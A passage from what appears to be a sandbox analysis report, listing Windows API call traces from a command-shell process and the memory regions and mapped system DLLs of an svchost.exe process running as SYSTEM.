(nStdHandle=0xfffffff5) returned 0x7 [0066.659] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fad4 | out: lpMode=0x32fad4) returned 1 [0066.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.659] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a124640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32fb00, lpReserved=0x0 | out: lpBuffer=0x4a124640*, lpNumberOfCharsWritten=0x32fb00*=0x2) returned 1 [0066.660] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0066.660] GetProcAddress (hModule=0x76520000, lpProcName="CopyFileExW") returned 0x76553b92 [0066.660] GetProcAddress (hModule=0x76520000, lpProcName="IsDebuggerPresent") returned 0x76534a5d [0066.660] GetProcAddress (hModule=0x76520000, lpProcName="SetConsoleInputExeNameW") returned 0x7654a79d [0066.660] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.660] GetFileType (hFile=0x3) returned 0x2 [0066.660] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0066.660] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x32fb88 | out: lpMode=0x32fb88) returned 1 [0066.660] NtOpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x32f944 | out: TokenHandle=0x32f944*=0x0) returned 0xc000007c [0066.660] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x32f944 | out: TokenHandle=0x32f944*=0x74) returned 0x0 [0066.660] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x12, TokenInformation=0x32f910, TokenInformationLength=0x4, ReturnLength=0x32f924 | out: TokenInformation=0x32f910, ReturnLength=0x32f924) returned 0x0 [0066.660] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x1a, TokenInformation=0x32f91c, TokenInformationLength=0x4, ReturnLength=0x32f920 | out: TokenInformation=0x32f91c, ReturnLength=0x32f920) returned 0x0 [0066.660] NtClose (Handle=0x74) returned 0x0 [0066.661] _vsnwprintf (in: _Buffer=0x4a124640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32f874 | out: _Buffer="\r\n") returned 2 [0066.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.661] GetFileType (hFile=0x7) returned 0x2 [0066.661] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.661] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f834 | out: lpMode=0x32f834) returned 1 [0066.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.661] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a124640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32f860, lpReserved=0x0 | out: lpBuffer=0x4a124640*, lpNumberOfCharsWritten=0x32f860*=0x2) returned 1 [0066.661] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.661] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a115260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0066.661] _vsnwprintf (in: _Buffer=0x4a115e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x32f870 | out: _Buffer="C:\\Users\\kFT6uTQW\\Desktop") returned 25 [0066.661] _vsnwprintf (in: _Buffer=0x4a115e72, _BufferCount=0x3e5, _Format="%c", _ArgList=0x32f870 | out: _Buffer=">") returned 1 [0066.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.661] GetFileType (hFile=0x7) returned 0x2 [0066.661] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.661] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f838 | out: lpMode=0x32f838) returned 1 [0066.662] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.662] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a115e40*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x32f864, lpReserved=0x0 | out: lpBuffer=0x4a115e40*, lpNumberOfCharsWritten=0x32f864*=0x1a) returned 1 [0066.662] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.662] GetFileType (hFile=0x3) returned 0x2 [0066.662] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.662] GetFileType (hFile=0x3) returned 0x2 [0066.662] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0066.662] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x32fb04 | out: lpMode=0x32fb04) returned 1 [0066.662] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.662] GetFileType (hFile=0x3) returned 0x2 [0066.662] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0066.662] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x32fb04 | out: lpMode=0x32fb04) returned 1 [0066.662] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.663] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.663] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32fabc | out: lpConsoleScreenBufferInfo=0x32fabc) returned 1 [0066.663] ReadConsoleW (hConsoleInput=0x3, lpBuffer=0x4a11c640, nNumberOfCharsToRead=0x2000, lpNumberOfCharsRead=0x32fb24, pInputControl=0x32fad4) Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2621a000" os_pid = "0x328" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0xa90" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a1dd" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1546 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1547 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1548 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1549 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1550 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1551 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1552 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1553 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1554 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1555 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1556 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1557 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1558 start_va = 0x1a0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1559 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1560 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 1561 start_va = 0x2c0000 end_va = 0x2c3fff entry_point = 0x2c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1562 start_va = 0x2d0000 end_va = 0x2d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1563 start_va = 0x2e0000 end_va = 0x2e3fff entry_point = 0x2e0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1564 start_va = 0x2f0000 end_va = 0x2f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1565 start_va = 0x300000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1566 start_va = 0x310000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1567 start_va = 0x410000 end_va = 0x597fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1568 start_va = 0x5a0000 end_va = 0x720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1569 start_va = 0x730000 end_va = 0x7effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 1570 start_va = 0x7f0000 end_va = 0xbe2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1571 start_va = 0xbf0000 end_va = 0xc1ffff entry_point = 0xbf0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db") Region: id = 1572 start_va = 0xc20000 end_va = 0xc25fff entry_point = 0xc20000 region_type = mapped_file name = "netcfgx.dll.mui" filename = "\\Windows\\System32\\en-US\\netcfgx.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netcfgx.dll.mui") Region: id = 1573 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1574 start_va = 0xcb0000 end_va = 0xccbfff entry_point = 0xcb0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1575 start_va = 0xcd0000 end_va = 0xd4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 1576 start_va = 0xd50000 end_va = 0xd50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 1577 start_va = 0xd90000 end_va = 0xe0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 1578 start_va = 0xe30000 end_va = 0xeaffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 1579 start_va = 0xf00000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1580 start_va = 0xfd0000 end_va = 0x104ffff entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1581 start_va = 0x1050000 end_va = 0x131efff entry_point = 0x1050000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1582 start_va = 0x1320000 end_va = 0x139ffff entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 1583 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1584 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1585 start_va = 0x1530000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 1586 start_va = 0x1610000 end_va = 0x168ffff entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 1587 start_va = 0x16d0000 end_va = 0x16dffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 1588 start_va = 0x1720000 end_va = 0x179ffff entry_point = 0x0 region_type = private name = "private_0x0000000001720000" filename = "" Region: id = 1589 start_va = 0x17e0000 end_va = 0x185ffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 1590 start_va = 0x1870000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 1591 start_va = 0x18f0000 end_va = 0x1955fff entry_point = 0x18f0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1592 start_va = 0x19b0000 end_va = 0x1a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 1593 start_va = 0x1a50000 end_va = 0x1acffff entry_point = 0x0 region_type = private name = "private_0x0000000001a50000" filename = "" Region: id = 1594 start_va = 0x1b00000 end_va = 0x1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1595 start_va = 0x1b90000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 1596 start_va = 0x1c20000 end_va = 0x1c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 1597 start_va = 0x1cc0000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 1598 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1599 start_va = 0x1e30000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1600 start_va = 0x1ee0000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1601 start_va = 0x1f60000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 1602 start_va = 0x1fe0000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 1603 start_va = 0x2060000 end_va = 0x215ffff entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 1604 start_va = 0x2160000 end_va = 0x24a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002160000" filename = "" Region: id = 1605 start_va = 0x2520000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1606 start_va = 0x25f0000 end_va = 0x266ffff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 1607 start_va = 0x2690000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 1608 start_va = 0x2710000 end_va = 0x280ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 1609 start_va = 0x2860000 end_va = 0x28dffff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 1610 start_va = 0x2910000 end_va = 0x298ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 1611 start_va = 0x29d0000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 1612 start_va = 0x2af0000 end_va = 0x2b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 1613 start_va = 0x2c90000 end_va = 0x2d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 1614 start_va = 0x2d10000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 1615 start_va = 0x2d20000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 1616 start_va = 0x2dd0000 end_va = 0x2e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 1617 start_va = 0x2e60000 end_va = 0x2edffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 1618 start_va = 0x2ef0000 end_va = 0x2efffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1619 start_va = 0x2f00000 end_va = 0x2f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1620 start_va = 0x2f90000 end_va = 0x300ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 1621 start_va = 0x30c0000 end_va = 0x31bffff entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 1622 start_va = 0x31f0000 end_va = 0x31fffff entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 1623 start_va = 0x3200000 end_va = 0x32fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003200000" filename = "" Region: id = 1624 start_va = 0x3400000 end_va = 0x347ffff entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 1625 start_va = 0x3480000 end_va = 0x357ffff entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1626 start_va = 0x3690000 end_va = 0x370ffff entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 1627 start_va = 0x3790000 end_va = 0x380ffff entry_point = 0x0 region_type = private name = "private_0x0000000003790000" filename = "" Region: id = 1628 start_va = 0x3860000 end_va = 0x38dffff entry_point = 0x0 region_type = private name = "private_0x0000000003860000" filename = "" Region: id = 1629 start_va = 0x3920000 end_va = 0x399ffff entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 1630 start_va = 0x3ae0000 end_va = 0x3b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ae0000" filename = "" Region: id = 1631 start_va = 0x3bf0000 end_va = 0x3c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003bf0000" filename = "" Region: id = 1632 start_va = 0x3c70000 end_va = 0x3d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c70000" filename = "" Region: id = 1633 start_va = 0x3d90000 end_va = 0x3e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d90000" filename = "" Region: id = 1634 start_va = 0x3f10000 end_va = 0x3f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 1635 start_va = 0x3f90000 end_va = 0x418ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 1636 start_va = 0x4210000 end_va = 0x428ffff entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 1637 start_va = 0x42f0000 end_va = 0x436ffff entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 1638 start_va = 0x4470000 end_va = 0x44effff entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 1639 start_va = 0x45c0000 end_va = 0x463ffff entry_point = 0x0 region_type = private name = "private_0x00000000045c0000" filename = "" Region: id = 1640 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x774ba2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1641 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x775b5ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1642 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1643 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1644 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1645 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1646 start_va = 0xffd40000 end_va = 0xffd4afff entry_point = 0xffd4246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1647 start_va = 0x7fef5a00000 end_va = 0x7fef5a41fff entry_point = 0x7fef5a00000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1648 start_va = 0x7fef5a50000 end_va = 0x7fef5a69fff entry_point = 0x7fef5a50000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1649 start_va = 0x7fef76f0000 end_va = 0x7fef7729fff entry_point = 0x7fef76f0000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1650 start_va = 0x7fef8040000 end_va = 0x7fef804bfff entry_point = 0x7fef804602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1651 start_va = 0x7fef81b0000 end_va = 0x7fef81b7fff entry_point = 0x7fef81b1414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1652 start_va = 0x7fef81c0000 end_va = 0x7fef8233fff entry_point = 0x7fef81c66f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1653 start_va = 0x7fef8240000 end_va = 0x7fef82aafff entry_point = 0x7fef8240000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1654 start_va = 0x7fef82b0000 end_va = 0x7fef832dfff entry_point = 0x7fef82b0000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1655 start_va = 0x7fef8330000 end_va = 0x7fef8345fff entry_point = 0x7fef8330000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1656 start_va = 0x7fef8350000 end_va = 0x7fef840bfff entry_point = 0x7fef8350000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1657 start_va = 0x7fef8410000 end_va = 0x7fef8429fff entry_point = 0x7fef8410000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1658 start_va = 0x7fef8430000 end_va = 0x7fef84a2fff entry_point = 0x7fef8430000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1659 start_va = 0x7fef84b0000 end_va = 0x7fef8533fff entry_point = 0x7fef84b0000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1660 start_va = 0x7fef8540000 end_va = 0x7fef8558fff entry_point = 0x7fef8540000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1661 start_va = 0x7fef8560000 end_va = 0x7fef85affff entry_point = 0x7fef8560000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1662 start_va = 0x7fef85b0000 end_va = 0x7fef85d5fff entry_point = 0x7fef85b0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1663 start_va = 0x7fef85e0000 end_va = 0x7fef85e7fff entry_point = 0x7fef85e0000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1664 start_va = 0x7fef85f0000 end_va = 0x7fef8603fff entry_point = 0x7fef85f0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1665 start_va = 0x7fef8610000 end_va = 0x7fef867efff entry_point = 0x7fef8610000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1666 start_va = 0x7fef8680000 end_va = 0x7fef87aefff entry_point = 0x7fef8680000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1667 start_va = 0x7fef87b0000 end_va = 0x7fef87d4fff entry_point = 0x7fef87b0000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1668 start_va = 0x7fef87e0000 end_va = 0x7fef881cfff entry_point = 0x7fef87e0000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1669 start_va = 0x7fef8820000 end_va = 0x7fef882efff entry_point = 0x7fef8820000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1670 start_va = 0x7fef8830000 end_va = 0x7fef8856fff entry_point = 0x7fef8830000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1671 start_va = 0x7fef8860000 end_va = 0x7fef88a6fff entry_point = 0x7fef8860000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1672 start_va = 0x7fef88b0000 end_va = 0x7fef8991fff entry_point = 0x7fef88b0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1673 start_va = 0x7fef89a0000 end_va = 0x7fef89e1fff entry_point = 0x7fef89a0000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1674 start_va = 0x7fef8a30000 end_va = 0x7fef8ac1fff entry_point = 0x7fef8a30000 region_type = mapped_file name = 